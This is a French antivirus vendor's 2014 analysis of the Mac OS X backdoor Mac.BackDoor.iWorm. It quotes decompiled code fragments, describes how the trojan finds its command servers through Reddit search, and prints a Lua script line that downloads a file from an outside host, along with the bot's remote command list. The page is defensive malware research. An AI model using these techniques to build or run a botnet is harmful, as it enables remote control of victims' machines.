Bibliothèque
Ma bibliothèque

+ Ajouter à la bibliothèque

Contacter-nous !
Support 24/24 | Rules regarding submitting

Nous téléphoner

0 825 300 230

Forum

Vos requêtes

  • Toutes : -
  • Non clôturées : -
  • Dernière : le -

Nous téléphoner

0 825 300 230

Profil

Revenir vers la liste d'actualités

Données sur le Mac.BackDoor.iWorm

Le 29 septembre 2014

Les spécialistes de Doctor Web ont terminé l'analyse du Trojan multi composants Mac.BackDoor.iWorm, qui cible les utilisateurs de Mac OS X. Selon les statistiques pour le jour du 26 septembre 2014, ce botnet enrôle 17 658 adresses IP.

Le backdoor se décompresse dans le dossier /Library/Application Support/JavaW. A l'aide du fichier plist il s'enregistre dans l'auto démarrage via /Library/LaunchDaemons/ sous couvert d'une application com.JavaW.

Mac.BackDoor.iWorm utilise largement la cryptographie lors de son fonctionnement. Après son lancement, le Trojan initialise le contexte (qui sera utilisé après pour la cryptographie) et enregistre deux octets à offset zéro qui représentent la clé pour le décryptages des lignes. L'algorithme de cryptage est le suivant :

void DecryptStrings(unsigned __int8* Data, size_t size)
{
    for(int i = 0; i < size; i++)
    {
        if (Data[i])
        {
            Data[i] -= 'Z';
            Data[i] ^= 'M';
        }
    }
}

Puis le Trojan essaie d'obtenir le contenu du répertoire /Library : en cas de succès, il analyse tous les dossiers imbriqués et calcule les valeurs MD5 pour leurs noms. Les valeurs MD5 obtenues sont nécessaires pour détecter les logiciels installés, avec lesquels le backdoor n'interagira plus. La détection se déroule comme suit :

find_banned_dir:
  challenge[5] = 0;
  challenge[4] = 0;
  challenge[0] = 0x67452301;
  challenge[1] = 0xEFCDAB89;
  challenge[2] = 0x98BADCFE;
  challenge[3] = 0x10325476;
  szDir = (const char *)&dir-&qt;d_seekoff;
  szDir_len = strlen(szDir);
  MD5_Update(szDir, challenge, szDir_len);
  MD5_Final((char *)&MD5OfDir, challenge);
  z = 0;
  do
  {
    if ( z &qt; 2 )
    {
      dir = readdir(hLib);
      if ( !dir )
        goto banned_dir_not_found;
      goto find_banned_dir;
    }
    BannedFoldersMD5 = pBannedFoldersMD5[z++];
  }
  while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );

S'il n'a pas réussi à trouver les répertoires « indésirables », le bot reçoit à l'aide de fonctions systèmes getuid et gepwuid le nom du dossier personnel de l'utilisateur Mac OS X sous le nom duquel il a été lancé, y vérifie la présence de son fichier de configuration %pw_dir%/.JavaW, qui est crée lors du premier lancement du backdoor. Aussi, lors du premier démarrage du backdoor, le numéro de port est généré (puis le Trojan reçoit le port depuis le fichier de configuration) :

r1 = TwisterGenRnd();;  //réception d'un nombre aléatoire
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);

Puis, à partir de la valeur du port la structure du backdoor_param est formée et sera enregistrée dans le fichier de configuration après chiffrement. Chaque entrée dans le fichier de configuration a la forme suivante :

struct backdoor_param
{
    char szParam[];
    char szValue[];
};

L'algorithme AES-256 est utilisé pour crypter la structure formée à partir des valeurs %param_name% et %param_value%. La structure cryptée est enregistrée dans le fichier de configuration. Puis le backdoor lance 3 threads de la charge utile :

  • ouvre le port en attente d'une connexion entrante ;
  • fait une requête au site et reçoit les adresses des serveurs de gestion ;
  • établit une connexion avec les serveurs de gestion et reçoit des commandes.

Pour obtenir les adresses des serveurs de gestion Mac.BackDoor.iWorm détermine la date actuelle et calcule sa valeur en jours en utilisant la formule :

time_t timee;
struct tm *tm;
 
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;

A partir de la valeur obtenue, le Trojan calcule le hachage MD5 et envoie au site reddit.com les requêtes dont la forme est la suivante :

https://www.reddit.com/search?q=<MD5_hash_first8>

où MD5_hash_first8 représentent les valeurs des 8 premiers octets du hachage MD5 de la date actuelle. Selon les résultats de la recherche, reddit.com donne une page web avec la liste des serveurs de gestion de botnets et les ports que les pirates publient sous la forme de commentaires pour le sujet « minecraftserverlists » au nom d'utilisateur « vtnhiaovyd ». Il répète toutes les 5 minutes les requêtes au site reddit.com afin de recevoir une nouvelle liste.

Pour son fonctionnement, le Trojan choisit le serveur de gestion d'après l'algorithme suivant :

rnd = TwisterGenRnd(); //réception d'un nombre aléatoire
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));

En fait, le Trojan essaie d'établir la connexion avec les serveurs de gestion en recherchant d'une manière aléatoire les 29 premières adresses de la liste reçue et envoie des requêtes à chacun d'eux. Lors de l'établissement de la connexion, Mac.BackDoor.iWorm tente de déterminer si cette adresse est ajoutée à la liste d'exclusions :

i = 0;
while ( 1 )
{
  pthread_mutex_lock(&pMutex_0);
  BanListSize = (pBanListEnd - pBanListBeg) >> 2;
  pthread_mutex_unlock(&pMutex_0);
  if ( i >= BanListSize )
    break;
  pszBannedIP = GetAddressByIndex(pCBanList, i++);
  if ( CompareAddresses(pszBannedIP, szIP) ) 
  {
    pthread_mutex_unlock(&pMutex_0);
    shutdown(this->socket, SHUT_WR);
    goto func_exit;
  }
}

Après avoir établi la connexion, le backdoor partage avec le serveur de gestion un ensemble de données grâce auxquelles l'authenticité de l'hôte distant est vérifiée en utilisant une série de transformations mathématiques. Si la vérification est réussie, le bot envoie au serveur distant le numéro du port ouvert sur l'ordinateur infecté et son identifiant unique et attend les commandes. Les données envoyées sont cryptées avec AES-256 et transmis par les packages comme suit :

void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
    WORD ps = 0;
    SendData(&packet_signature, pNode->pCSocket, 1u);
    ps = BYTE(packet_size) << 8;
    SendData((char *)&ps, pNode_->pCSocket, 2u);
    SendData(pPacketData, pNode_->pCSocket, packet_size);
}

Le backdoor supporte Lua afin de traiter les commandes reçues. Selon le type de données reçues, le bot peut exécuter soit les commandes soit les scripts Lua. Un exemple de ce script Lua est le suivant :

if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");

Les commandes de base du backdoor pour les Lua-scripts afin d'effectuer les opérations suivantes :

  • obtenir le type de système d'exploitation ;
  • obtenir la version du bot ;
  • obtenir l’UID du bot ;
  • obtenir la valeur du paramètre du fichier de configuration ;
  • indiquer la valeur du paramètre du fichier de configuration ;
  • effacer les données de configuration de tous les paramètres ;
  • obtenir la durée d’activité du bot (uptime) ;
  • envoyer une requête GET ;
  • télécharger un fichier ;
  • ouvrir le socket pour la connexion entrante et exécuter la commande reçue ;
  • exécuter la commande système ;
  • faire une pause (sleep) ;
  • ajouter le nœud selon l’IP dans la liste des nœuds " interdits " ;
  • effacer la liste des nœuds " interdits " ;
  • obtenir la liste de nœuds ;
  • obtenir l'adresse IP du nœud ;
  • obtenir le type de nœud ;
  • obtenir le port du nœud ;
  • exécuter le script Lua imbriqué.

Pour l'instant le Trojan a les fonctionnalités suivantes (sans compter les fonctionnalités de scripts Lua) :

  • envoyer l'UID ;
  • envoyer le numéro de port ouvert ;
  • ajouter le nouveau nœud dans sa liste (connectés ainsi que reçus dans la commande) ;
  • retransmettre le trafic (les données reçues via un socket sont transmises à l'autre sans modifications) ;
  • se connecter à l'hôte spécifié dans la commande reçue ;
  • exécuter les scripts Lua.

News sur cette menace

Votre avis nous intéresse

Pour poser une question sur une news aux administrateurs du site, mettez @admin au début de votre commentaire. Si vous postez une question à l'attention de l'auteur d'un commentaire, mettez le symbole @.avant son nom.


Other comments